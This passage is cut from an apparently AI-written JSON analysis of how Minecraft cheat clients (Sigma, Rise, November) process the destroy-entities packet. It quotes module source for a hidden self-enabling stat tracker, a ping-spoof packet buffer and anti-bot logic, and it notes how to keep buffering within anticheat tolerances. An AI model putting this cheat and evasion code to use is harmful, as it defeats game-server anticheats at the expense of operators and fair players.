    "protocol_notes": "VarInt count, then count VarInt entity ids. The count field makes the packet self-describing; 1.8 clients accept any count including 0. Entity ids are server-assigned and unique per world session, which is why id-keyed caches (Sigma's hit maps, Rise's translation map) can prune by id without ambiguity. The packet is emitted every tick the destroy list is non-empty, so it arrives in bursts.",
    "anticheat_landscape": "The packet itself is never flagged; its timing is. Attack-after-desync detection compares the ids a client attacks with the ids the server destroyed, so any buffering or replay of S13 that outlives the destroy is the detectable pattern. Ping-spoof buffering of S13 is safe only while the flush stays inside the anticheat's entity-desync tolerance, which is why Rise pairs the component with per-anticheat velocity and teleport handling.",
    "modules": [
     {
      "name": "Ranking",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Track kills and deaths against named players and report stats, pruning records when targets despawn.",
      "how_it_works": "Hidden module that records attacked players in hitEntities and suspects in prosecutorEntities via EventAttack, correlates S0B animation with S06 health drops and S02 chat messages to attribute kills, and on S13 iterates the destroyed ids through onEntityRemoved so a removed player's record cannot later fire a kill stat. S18 teleport and S08 respawn share the cleanup paths.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventAttack;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.users.TTSystem;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.ConcurrentModificationException;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.UUID;\n\npublic class Ranking extends Module {\n    private HashMap<Integer, HitEntity> hitEntities = new HashMap<>();\n    private HashMap<Integer, HitEntity> prosecutorEntities = new HashMap<>();\n    private HashMap<Integer, Long> lastAnimationTimestamp = new HashMap<>();\n    private info.sigmaclient.util.Timer delay = new Timer();\n\n    public Ranking(ModuleData data) {\n        super(data);\n        setHidden(true);\n        if (!isEnabled()) {\n            toggle();\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventAttack.class, EventPacket.class, EventUpdate.class})\n    public void onEvent(Event e) {\n        if (e instanceof EventAttack) {\n            EventAttack ea = (EventAttack) e;\n            if (ea.getEntity() instanceof EntityPlayer) {\n                EntityPlayer ep = (EntityPlayer) ea.getEntity();\n                if (!ep.getName().isEmpty()) {\n                    if (!hitEntities.containsKey(ep.getEntityId())) {\n                        hitEntities.put(ep.getEntityId(), new HitEntity(ep));\n                    } else {\n                        hitEntities.get(ep.getEntityId()).refresh();\n                    }\n                }\n            }\n        } else if (e instanceof EventPacket) {\n            EventPacket ep = (EventPacket) e;\n            Packet packet = ep.getPacket();\n            if (packet instanceof S0BPacketAnimation) {\n                S0BPacketAnimation packetAnimation = (S0BPacketAnimation) packet;\n                lastAnimationTimestamp.put(packetAnimation.func_148978_c(), System.currentTimeMillis());\n            }\n            if (packet instanceof S06PacketUpdateHealth) {\n                S06PacketUpdateHealth packetUpdateHealth = (S06PacketUpdateHealth) packet;\n                if (packetUpdateHealth.getHealth() <= Minecraft.getMinecraft().thePlayer.getHealth()) {\n                \ttry{\n                \t\tfor (Object o : mc.theWorld.getLoadedEntityList()) {\n                            if (o instanceof EntityPlayer) {\n                                EntityPlayer entityPlayer = (EntityPlayer) o;\n                                if (!(entityPlayer instanceof EntityPlayerSP) && lastAnimationTimestamp.containsKey(entityPlayer.getEntityId())) {\n                                    if (lastAnimationTimestamp.get(entityPlayer.getEntityId()) > System.currentTimeMillis() - 70 && entityPlayer.getPositionVector().squareDistanceTo(Minecraft.getMinecraft().thePlayer.getPositionVector()) < 9 * 9) {\n                                        if (!prosecutorEntities.containsKey(entityPlayer.getEntityId())) {\n                                            prosecutorEntities.put(entityPlayer.getEntityId(), new HitEntity(entityPlayer, true));\n                                        } else {\n                                            prosecutorEntities.get(entityPlayer.getEntityId()).refresh();\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                \t}catch(ConcurrentModificationException ee){};\n                    \n                }\n                if (packetUpdateHealth.getHealth() <= 0) {\n                    onDeath();\n                }\n            }\n            if (packet instanceof S02PacketChat) {\n                S02PacketChat packetChat = (S02PacketChat) packet;\n                String message = packetChat.func_148915_c().getUnformattedText();\n\n                Iterator it = hitEntities.entrySet().iterator();\n                while (it.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it.remove();\n                        }\n                    }\n                }\n\n                Iterator it2 = prosecutorEntities.entrySet().iterator();\n                while (it2.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName()) && message.contains(Minecraft.getMinecraft().thePlayer.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it2.remove();\n                        }\n                    }\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport packetTeleport = (S18PacketEntityTeleport) packet;\n                int entityId = packetTeleport.func_149451_c();\n\n                onEntityRemoved(entityId);\n            } else if (packet instanceof S08PacketPlayerPosLook) {\n                onDeath();\n            } else if (packet instanceof S13PacketDestroyEntities) {\n                S13PacketDestroyEntities packetDestroyEntities = (S13PacketDestroyEntities) packet;\n                for (int entityId : packetDestroyEntities.func_149098_c()) {\n                    onEntityRemoved(entityId);\n                }\n            } else if (packet instanceof S40PacketDisconnect) {\n                S40PacketDisconnect packetDisconnect = (S40PacketDisconnect) packet;\n                if (packetDisconnect.func_149165_c().getUnformattedText().toLowerCase().contains(\"ban\") && Minecraft.getMinecraft().thePlayer != null && Minecraft.getMinecraft().thePlayer.ticksExisted > 15 * 20) {\n                    sendStat(\"ban\", \"\");\n                }\n            }\n        } else if (e instanceof EventUpdate) {\n            if (delay.delay(1000 * 60 * 10)) {\n                delay.reset();\n                sendStat(\"tick\", \"\");\n            }\n        }\n    }\n\n    private void onDeath() {\n        Iterator it2 = prosecutorEntities.entrySet().iterator();\n        while (it2.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000) {\n                if (hitEntity.onRemoved()) {\n                    it2.remove();\n                }\n            }\n        }\n    }\n\n    private void onEntityRemoved(int entityId) {\n        Iterator it = hitEntities.entrySet().iterator();\n        while (it.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && entityId == hitEntity.getEntityId()) {\n                if (hitEntity.onRemoved()) {\n                    it.remove();\n                }\n            }\n        }\n    }\n\n    public void sendStat(String type, String data) {\n\n    }\n\n    private class HitEntity {\n        private long time = System.currentTimeMillis();\n        private UUID uuid;\n        private String name;\n        private int entityId;\n        private boolean removed = false;\n        private boolean chatMessage = false;\n        private boolean prosecutor = false;\n\n        public HitEntity(EntityPlayer ep) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n        }\n\n        public HitEntity(EntityPlayer ep, boolean prosecutor) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n            this.prosecutor = prosecutor;\n        }\n\n        public boolean onRemoved() {\n            removed = true;\n            if (chatMessage) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        public boolean onChatMessage() {\n            chatMessage = true;\n            if (removed) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        private void killed() {\n            //ChatUtil.printChat(\"Kill (\" + name + \") \" + uuid.toString());\n            sendStat(\"kill\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n\n        public void refresh() {\n            time = System.currentTimeMillis();\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public long getTime() {\n            return time;\n        }\n\n        public int getEntityId() {\n            return entityId;\n        }\n\n        public void prosecuted() {\n            //ChatUtil.printChat(\"Prosecuted (\" + name + \") \" + uuid.toString());\n            sendStat(\"death\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n    }\n}\n// NOTE (AI): Hidden stat-tracking module: records attacked players and prosecutors, correlates S0B animation with S06 health drops to attribute kills, and watches S02 chat for kill messages. S13 is the cleanup path: destroyed entity ids are matched against the hit and prosecutor maps so stale records cannot fire a kill stat after the target despawns. S18 teleport and S08 respawn share the same onEntityRemoved and onDeath paths.",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java",
      "vanilla_hook": "EventAttack, EventPacket, EventUpdate (RegisterEvent list).",
      "anti_cheat_notes": "Stat tracking is invisible to anti-cheats. The S13 handling matters for correctness, not stealth: without it, a killed player's record would fire a duplicate kill when the death message arrives after the destroy packet.",
      "variations": "Only Sigma 4.11 ships a module of this shape in the corpus; the sendStat() body is stubbed, so the tracking exists but the telemetry sink is disabled in this build."
     },
     {
      "name": "PingSpoofComponent (players buffer)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Hold S13 in the entity-stream buffer while ping spoofing so destruction stays ordered relative to buffered entity updates.",
      "how_it_works": "S13 is listed in the players tuple of the component's packet classification. While a spoof is active, matching packets are cancelled from the event stream and parked in a timestamped queue; onPostMotion flushes entries whose delay elapsed. Holding S13 alongside S14/S16/S15/S17/S18/S19/S20 keeps replay order coherent so a flushed destroy cannot land before the entity updates that precede it.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n// NOTE (AI): S13 is one of the classes in the players tuple, the entity-stream buffer the component holds while ping spoofing. Buffering destruction keeps entity removal ordered relative to held S14/S18/S19/S20 updates, so replayed packets do not resurrect or desync ghost entities. In this corpus S13 is the only destroy-class packet the buffer covers.",
      "code_source": "Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketSendEvent, PacketReceiveEvent, PostMotionEvent, WorldChangeEvent.",
      "anti_cheat_notes": "Buffered destruction keeps ghost entities alive client-side for the spoof window; modules that target entities must respect the flush or they attack ids the server already destroyed, which is the attack-after-desync flag.",
      "variations": "Identical component in 6.1.30 and 6.2.4, driven by PingSpoof and Timer through the static spoof() entry points."
     },
     {
      "name": "PacketType / TranslationComponent (DESTROY_ENTITY)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Remove destroyed entity ids from the entity-position map the Translation bypass maintains.",
      "how_it_works": "The DESTROY_ENTITY entry of the PacketType enum casts to S13PacketDestroyEntities, iterates getEntityIDs() and removes each from the entityPositions map. The map is the single source of truth for the Translation component's entity tracking, so a missed removal would let the bypass interpolate a despawned entity.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java =====\npackage com.alan.clients.component.impl.player.translation;\n\nimport lombok.Getter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.util.Map;\nimport java.util.function.BiFunction;\n\npublic enum PacketType {\n    SPAWN_MOB(S0FPacketSpawnMob.class, (packet, entityPositions) -> {\n        S0FPacketSpawnMob spawnMobPacket = (S0FPacketSpawnMob) packet;\n        int entityId = spawnMobPacket.getEntityID();\n        double posX = spawnMobPacket.getX() / 32.0;\n        double posY = spawnMobPacket.getY() / 32.0;\n        double posZ = spawnMobPacket.getZ() / 32.0;\n        float yaw = (spawnMobPacket.getYaw() * 360) / 256.0F;\n        float pitch = (spawnMobPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_TELEPORT(S18PacketEntityTeleport.class, (packet, entityPositions) -> {\n        S18PacketEntityTeleport teleportPacket = (S18PacketEntityTeleport) packet;\n        int entityId = teleportPacket.getEntityId();\n        double posX = teleportPacket.getX() / 32.0;\n        double posY = teleportPacket.getY() / 32.0;\n        double posZ = teleportPacket.getZ() / 32.0;\n        float yaw = (teleportPacket.getYaw() * 360) / 256.0F;\n        float pitch = (teleportPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_REL_MOVE(S14PacketEntity.S15PacketEntityRelMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S15PacketEntityRelMove relMovePacket = (S14PacketEntity.S15PacketEntityRelMove) packet;\n        int entityId = relMovePacket.entityId;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + relMovePacket.getPosX() / 32.0;\n            double newPosY = currentPosition.posY + relMovePacket.getPosY() / 32.0;\n            double newPosZ = currentPosition.posZ + relMovePacket.getPosZ() / 32.0;\n            float yaw = currentPosition.yaw;\n            float pitch = currentPosition.pitch;\n\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK_MOVE(S14PacketEntity.S17PacketEntityLookMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S17PacketEntityLookMove lookMovePacket = (S14PacketEntity.S17PacketEntityLookMove) packet;\n        int entityId = lookMovePacket.getEntityId();\n        double deltaX = lookMovePacket.getPosX() / 32.0;\n        double deltaY = lookMovePacket.getPosY() / 32.0;\n        double deltaZ = lookMovePacket.getPosZ() / 32.0;\n        float yaw = (lookMovePacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookMovePacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + deltaX;\n            double newPosY = currentPosition.posY + deltaY;\n            double newPosZ = currentPosition.posZ + deltaZ;\n\n            // Ensure yaw and pitch are updated\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK(S14PacketEntity.S16PacketEntityLook.class, (packet, entityPositions) -> {\n        S14PacketEntity.S16PacketEntityLook lookPacket = (S14PacketEntity.S16PacketEntityLook) packet;\n        int entityId = lookPacket.getEntityId();\n        float yaw = (lookPacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookPacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    DESTROY_ENTITY(S13PacketDestroyEntities.class, (packet, entityPositions) -> {\n        S13PacketDestroyEntities destroyEntitiesPacket = (S13PacketDestroyEntities) packet;\n        int[] entityIds = destroyEntitiesPacket.getEntityIDs();\n\n        for (int entityId : entityIds) {\n            entityPositions.remove(entityId);\n        }\n\n        return entityPositions;\n    }),\n\n    ENTITY_HEAD_LOOK(S19PacketEntityHeadLook.class, (packet, entityPositions) -> {\n        S19PacketEntityHeadLook headLookPacket = (S19PacketEntityHeadLook) packet;\n        int entityId = headLookPacket.getEntityId();\n        float headYaw = (headLookPacket.getYaw() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, headYaw, currentPosition.pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    });\n\n    @Getter\n    private final Class<? extends Packet<?>> packetClass;\n    private final BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler;\n\n    PacketType(Class<? extends Packet<?>> packetClass, BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler) {\n        this.packetClass = packetClass;\n        this.handler = handler;\n    }\n\n    public Map<Integer, Position> handle(Packet<?> packet, Map<Integer, Position> positions) {\n        return handler.apply(packet, positions);\n    }\n}\n// NOTE (AI): The TranslationComponent packet registry. SPAWN_MOB decodes the fixed-point spawn coordinates (x32) and byte rotations (x256/360) into the entityPositions map that the Translation bypass feeds on, so the client keeps its own copy of every mob's server-side position. DESTROY_ENTITY removes entries when S13 arrives, and the same enum covers S18 teleport, S14 relative moves and looks, and S19 head look.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java",
      "vanilla_hook": "PacketReceiveEvent, consumed by TranslationComponent in both Rise versions.",
      "anti_cheat_notes": "Pure cache hygiene: without the removal the translation map leaks positions for despawned entities, which only corrupts the bypass's own rendering. No anti-cheat interaction beyond the general desync surface of the Translation feature.",
      "variations": "Same enum in 6.1.30 and 6.2.4; the 6.2.4 build also carries ENTITY_HEAD_LOOK. This is the only non-vanilla entity-cache reference to S13 besides PingSpoofComponent in the corpus."
     },
     {
      "name": "AntiBotModule (WATCHDOG despawn watch)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Confirm that a detected bot was destroyed server-side, so the module can re-arm the S0C spawn veto and warn that staff removed the entity.",
      "how_it_works": "In WATCHDOG mode the packet listener iterates the destroyed entity ids of every S13. If one equals aboveEntityId (the bot the module detected above the player), it prints a removed-from-world notice and resets the tracker to -1, which re-arms the S0C branch of the same listener to flag the next spawn as a bot.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/AntiBotModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport io.netty.util.internal.ConcurrentSet;\nimport java.util.Set;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport lol.november.utility.chat.Printer;\nimport net.minecraft.client.network.NetworkPlayerInfo;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.server.S0CPacketSpawnPlayer;\nimport net.minecraft.network.play.server.S13PacketDestroyEntities;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"AntiBot\",\n  description = \"Prevents you from attacking bots\",\n  category = Category.COMBAT\n)\npublic class AntiBotModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.WATCHDOG);\n\n  private final Setting<Integer> tabTicks = new Setting<>(\n    () -> mode.getValue() == Mode.TAB_TICKS,\n    \"Tab Ticks\",\n    50,\n    1,\n    0,\n    500\n  );\n  private final Setting<Boolean> noTab = new Setting<>(\n    () -> mode.getValue() == Mode.NPC,\n    \"No Tab List\",\n    true\n  );\n\n  private final Set<Integer> bots = new ConcurrentSet<>();\n  private int aboveEntityId = -1;\n  private boolean aboveDespawn;\n\n  @Override\n  public void disable() {\n    super.disable();\n    bots.clear();\n    aboveEntityId = -1;\n    aboveDespawn = false;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mc.thePlayer.ticksExisted < 5) {\n      bots.clear();\n\n      if (mode.getValue() == Mode.WATCHDOG) {\n        aboveEntityId = -1;\n        aboveDespawn = false;\n      }\n\n      return;\n    }\n\n    switch (mode.getValue()) {\n      case WATCHDOG -> {\n        // todo i have no clue\n\n        for (EntityPlayer player : mc.theWorld.playerEntities) {\n          if (player == null || player.equals(mc.thePlayer)) continue;\n\n          if (!tabList(player) && player.isInvisible()) {\n            bots.add(player.getEntityId());\n          }\n        }\n\n        if (aboveEntityId != -1) return;\n        for (int bot : bots) {\n          Entity entity = mc.theWorld.getEntityByID(bot);\n          if (!(entity instanceof EntityPlayer)) {\n            bots.remove(bot);\n            continue;\n          }\n\n          if (Math.abs(entity.posY - mc.thePlayer.posY) <= 10.0) {\n            aboveEntityId = entity.getEntityId();\n            Printer.print(\n              \"Detected bot above you: \" +\n              aboveEntityId +\n              \" (\" +\n              entity.getName() +\n              \")\"\n            );\n            break;\n          }\n        }\n      }\n      case TAB_TICKS -> {\n        for (EntityPlayer player : mc.theWorld.playerEntities) {\n          if (player == null || player.equals(mc.thePlayer)) continue;\n\n          if (\n            player.ticksExisted > tabTicks.getValue() && !tabList(player)\n          ) bots.add(player.getEntityId());\n        }\n      }\n      case NPC -> {\n        for (EntityPlayer player : mc.theWorld.playerEntities) {\n          if (player == null || player.equals(mc.thePlayer)) continue;\n          String name = player.getGameProfile().getName();\n\n          if (\n            name.startsWith(\"CIT-\") ||\n            name.contains(\"[NPC]\") ||\n            name.contains(\"\\u00A7\") ||\n            (!tabList(player) && noTab.getValue())\n          ) bots.add(player.getEntityId());\n        }\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mode.getValue() == Mode.WATCHDOG) {\n      if (event.get() instanceof S13PacketDestroyEntities packet) {\n        for (int entityId : packet.getEntityIDs()) {\n          if (entityId == aboveEntityId) {\n            Printer.print(entityId + \" was removed from the world. Staff?\");\n            aboveEntityId = -1;\n          }\n        }\n      } else if (event.get() instanceof S0CPacketSpawnPlayer packet) {\n        if (!aboveDespawn) return;\n\n        bots.add(packet.getEntityID());\n        Printer.print(\"Suspicious entity spawn: \" + packet.getEntityID());\n      }\n    }\n  };\n\n  private boolean tabList(EntityPlayer player) {\n    for (NetworkPlayerInfo info : mc.thePlayer.sendQueue.getPlayerInfoMap()) {\n      if (\n        info\n          .getGameProfile()\n          .getName()\n          .equals(player.getGameProfile().getName())\n      ) return true;\n    }\n\n    return false;\n  }\n\n  public boolean bot(int entityId) {\n    return bots.contains(entityId);\n  }\n\n  private enum Mode {\n    TAB_TICKS,\n    NPC,\n    WATCHDOG,\n  }\n}\n// NOTE (AI): The S13 listener in AntiBotModule runs only in WATCHDOG mode and is a despawn watcher: if the destroyed entity ids include aboveEntityId (the bot the module detected above the player), it prints a staff-removal notice and resets the tracker so the next spawn veto (the S0C branch of the same listener) can arm again. The reset is what chains the module's two packet hooks: S13 confirms the bot vanished server-side, and the next S0C spawn is then assumed to be a replacement bot.",
      "code_source": "November Recode 2.0, feature/module/impl/combat/AntiBotModule.java",
      "vanilla_hook": "EventPacket.In (S13 branch, WATCHDOG mode only).",
      "anti_cheat_notes": "Pure read: the module never touches the packet. The desync risk of buffered S13 (Rise's PingSpoofComponent) does not apply here because November never delays the destroy.",
      "variations": "Sigma's Ranking and Rise's TranslationComponent prune id-keyed caches on S13; November uses it as a state machine trigger instead of a cache cleanup."
     }
    ],
    "general_hooks": "PacketReceiveEvent on every corpus hit; the module-level hook appears in Sigma's Ranking (EventPacket) and November Recode 2.0's AntiBotModule (EventPacket.In), while Rise processes S13 through components (PingSpoofComponent, TranslationComponent).",
    "client_variations": "Sigma cancels nothing and only reads ids. Rise does not read the ids at all in PingSpoofComponent (the packet is buffered by class) and reads them only in TranslationComponent. Memeware, Nekoware, Spicy and Tenacity touch S13 solely through bundled vanilla code. November Recode 2.0 reads the destroyed ids inside AntiBotModule and uses them as a state trigger for its WATCHDOG bot logic.",
    "related": [
     "S0EPacketSpawnObject",
     "S0FPacketSpawnMob",
     "S12PacketEntityVelocity"
    ],
    "anticheat": {
